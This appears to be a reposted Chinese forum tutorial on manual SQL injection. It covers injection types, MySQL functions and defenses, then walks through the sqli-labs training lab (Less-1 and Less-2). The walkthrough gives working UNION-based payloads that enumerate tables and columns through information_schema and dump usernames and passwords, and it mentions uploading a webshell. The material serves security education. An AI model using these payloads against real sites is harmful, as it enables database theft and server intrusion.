万有斥力 发表于 2024-5-13 02:41:16

SQL注入 - 手工注入sqli-labs

SQL注入(SQL Injection)是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先界说好的查询语句的结尾后添加额外的SQL语句,在管理员不知情的情况下实现非法操作。以此来实现诱骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简朴来讲就是:攻击者通过构造恶意的SQL语句来实现对数据库的操作。
两个条件

[*]参数用户可控 —— 用户可以或许控制数据的输入
[*]构造的参数可带入数据库并且被执行 —— 原本要执行的sql语句拼接了用户的输入
SQL注入的核心:将输入语句拼接到代码中,并被当成SQL语句执行。
SQL注入可能发生在哪些地方

以下是一些常见的SQL注入发生地点:

[*]用户输入:这是最常见的SQL注入来源,包罗但不限于表单字段如登录表单、搜索框、注册表单等。
[*]URL参数:通过修改URL的查询字符串参数,攻击者可以实验对数据库举行注入攻击。
[*]Cookie:Web应用程序会使用Cookie来存储用户会话信息,就可能被用来执行SQL注入。
[*]HTTP头部:有些Web应用程序可能会根据HTTP请求头部字段(如User-Agent、Referer等)中的信息来构建SQL查询。
[*]XML输入:有些Web应用程序会使用XML或其他举行数据互换,如果未准确处理输入数据,就可能被用来执行SQL注入。
SQL注入点如何探测

在输入字段中实验输入特别的SQL字符,如果应用程序返回了数据库错误信息,或者异常,可能就意味着存在SQL注入漏洞。
只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入:

[*]先加单引号'或双引号"等看是否报错,如果报错就可能存在SQL注入漏洞。
[*]另外在URL背面加and 1=1、and 1=2看页面是否显示划一,显示不一样的话,肯定存在SQL注入漏洞。
[*]另有就是利用盲注,通过观察数据库相应时间或者不同相应来推断查询的真假。
SQL注入的类型有哪些

按照注入点的数据类型来分类:

[*]数字型注入点
类似结构http://xxx.com/xxx.php?id=1这种形式,注入点id类型为数字。
这一类的 SQL 语句原型大概为select * from table_name where id=1,若存在注入,可以构造出类似与如下的sql注入语句举行注入:
select * from table_name where id=1 and 1=1
[*]字符型注入点
类似结构http://xxx.com/xxx.php?name=admin这种形式,注入点name类型为字符类型。
这一类的 SQL 语句原型大概为 select * from table_name where name='admin' 这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。可以构造出类似与如下的sql注入语句举行注入:将后引号闭合
select * from table_name where name='admin' and 1=1'按照数据提交的方式来分类:

[*]GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部门。

[*]POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部门。

[*]Cookie 注入
HTTP 请求的时间会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

[*]HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。(严酷讲的话,Cookie 其实应该也是算头部注入的一种形式)
按照执行效果来分类:

[*]基于布尔的盲注
即可以根据返回页面判断条件真假的注入。

[*]基于时间的盲注
即用条件语句检察时间延迟语句是否执行(即页面返回时间是否延长)来判断。

[*]基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

[*]联合查询注入
可以使用 union 的情况下的注入。

[*]堆查询注入
可以同时执行多条语句的执行时的注入。

[*]宽字节注入
数据库编码与 php 编码设置为不同的两个编码,这样就可能会产生宽字节注入。
SQL注入的一般步调

1. 注入点探测
​        手工注入:

[*]可控参数的改变是否可以影响页面的显示的结果
[*]输入的sql语句是否能报错:通过数据库的报错,看到数据库的一些语句陈迹
[*]输入的sql语句是否不报错:语句可以或许成功闭合
​       工具注入:

[*]sqlmap
2.信息获取

[*]情况信息:数据库类型、数据库版本、操作性体系版本、用户信息等
[*]数据库信息:数据库名、数据库表、字段、字段内容
3.权限获取

[*]编写webshell,上传木马,获取操作体系权限
MySQL数据库注入常用的函数

version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit:limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

concat_ws(':','str1','str2','str3'):按 str1:str2:str3 格式拼接字符串

length():返回指定对象的长度

left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)

ascii():返回字符串str的最左字符的数值,ASCII()返回数值是从0到255

updatexml(1,concat(0x7e,(),0x7e),1):一共可以接收三个参数,报错位置在第二个参数(报错注入)

extractvalue(1,concat(0x7e,())):一共可以接收两个参数,报错位置在第二个参数(报错注入)其他
information_schema.tables:包含了数据库里所有的表

table_name:表名

table_schema:数据库名

column_name:字段名SQL注入的防御


[*]采用预编译技能
例如:INSERT INTO MyGuests (firstname, lastname, email) VALUES(?, ?, ?);
使用预编译的SQL语句,SQL语句的语义不会是不会发生改变的。攻击者无法改变SQL语句的结构,只是把值赋给?,然后将?这个变量传给SQL语句。

[*]严酷控制数据类型
强类型语言中一般是不存在数字型注入的,因为在接受到用户输入id时,代码会做数据类型转换。但是没有夸大处理数据类型的语言,一接收id的代码是如下这样:
$id = $_GET['id'];
$SQL = "select * from '某字段' where id = $id;";参加一个检查数字类型函数is_numeric()就可以防止数字型注入。

[*]对特别的字符举行转义
在MySQL中对" ' "举行转义,这样可以防止一些恶意攻击者来闭合语句。也可以通过一些安全函数来转义特别字符,如addslashes()等。

[*]使用存储过程
使用存储过程的效果和使用预编译语句类似,其区别就是存储过程必要先将sql语句界说在数据库中。(尽量避免在存储过程内使用动态的sql语句)
MySQL注入实列

靶场情况:phpstudy当地搭建sqli-labs-php7(原版的sqli只支持php5,搭建过程可能会存在数据库连接失败的情况)
项目地址:https://github.com/skyblueee/sqli-labs-php7
注入工具:火狐浏览器配合hackbar
字符型注入

sqli-labs靶场第一题/sqli-labs-php7-master/Less-1/
1. 注入点探测
先看页面是否有变化?
Split URL: ?id=1 and 1=1
Split URL: ?id=1 and 1=2检察源代码可以很容易的得到sql是如何拼接的
https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305210728877-772241291.png
拼接后的sql:select * from users where id='1 and 1=2' limt 0,1https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305203049768-1078024403.png
页面没有变化,也没有报错,来判断一下是否为字符型注入?
Split URL: ?id=1'拼接后的sql:select * from users where id='1'' limt 0,1https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305203226522-719833703.png
发现页面报错,告诉我们出现了语法错误,是因为单引号导致的,此题应该为字符型注入。
Split URL: ?id=1' and '1'='1
Split URL: ?id=1' --+拼接后的sql:select * from users where id='1'and '1'='1' limt 0,1https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305203323506-1892218895.png
页面回显正常,确定为字符型注入。
--+是sql语句中的一种解释,将前面的sql语句补充完整后,背面跟随解释将不会执行背面的解释。
2. 确定当前表有几列
为什么要确定表中字段的列数呢?
因为背面的union联合查询,使用order by来确定表中的列数。
联合查询特点:要求多条查询语句的查询列数是划一的。
Split URL: Split URL: ?id=1' order by 1 --+
Split URL: Split URL: ?id=1' order by 2 --+
Split URL: Split URL: ?id=1' order by 3 --+
Split URL: Split URL: ?id=1' order by 4 --+拼接后的sql:select * from users where id='1' order by 4 -- limt 0,1https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305203532487-1040602659.png
当实验到order by 4根据第四列排序报错了,那么表中没有第四列,一共只有3列。
3. 判断那几列回显
用联合查询(将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位。
Split URL: ?id=-1' union select 1,2,3 --+拼接后的sql:select * from users where id='-1' union select 1,2,3 -- limt 0,1https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305204040558-1417061469.png
显示2,3, 那么就说明第2,3列可以回显。
可以回显了以后,就可以之条件到过的各种函数来查询我们必要的信息了。
4. 爆出数据库相关信息
Split URL: ?id=-1' union select 1,database(),version() --+拼接后的sql:select * from users where id='-1' union select 1,database(),version() -- limt 0,1https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305205047626-719516873.png
知道了当前数据库是:security,版本信息:5.7.26。
5. 爆出当前数据库内的所有表名
Split URL: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+拼接后的sql:select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema=database() -- limt 0,1https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305205149155-1991723586.png
6. 爆出当前数据库user表的所有列名
Split URL: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
and table_schema=database() --+https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305205350541-201895562.png
7. 爆出当前数据库user表所有username和password
Split URL: ?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from users --+https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305205425787-1640729915.png
获得了所有的账号和密码。
8. 上传webshell
数字型注入

sqli-labs第二题:/sqli-labs-php7-master/Less-2/
有了上面的示例,接下来就简朴很多了,只要找到注点,其他的大同小异。
1. 注入点探测
利用上面字符型的套路注入,都报错提示存在语法错误,说明原sql语句不必要闭合引号,排除了字符型注入。
Split URL: ?id=1 and 1=1 %23
Split URL: ?id=1 and 1=2 %23%23同样表现解释,经过URL解码后是#
拼接后的sql:SELECT * FROM users WHERE id=1 and 1=2 # LIMIT 0,1https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305211607225-1525508412.png
没有显示出内容,其实分析sql语句可以得知是where子句出错了,没有查询结果。
可以判断出是数字型注入。
2. 判断列数与回显情况
这里的判断方法与上面的方法如出一辙,判断出来有3列。
判断回显只用将id换为数字型即可,去掉引号:?id=-1 union select 1,database(),version() --+
https://img2024.cnblogs.com/blog/3222269/202403/3222269-20240305214228504-621143649.png
接下来的注入语句基本一样。
3. 爆出当前数据库的所有表名
Split URL: ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() LIMIT 0,14. 爆出当前数据库的users表的所有列名
Split URL: ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() %23拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # LIMIT 0,15. 爆出当前数据库users表的所有username和password
Split URL: ?id=-1 union select 1,group_concat(username),group_concat(password) from users %23拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,group_concat(username),group_concat(password) from users LIMIT 0,1
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: SQL注入 - 手工注入sqli-labs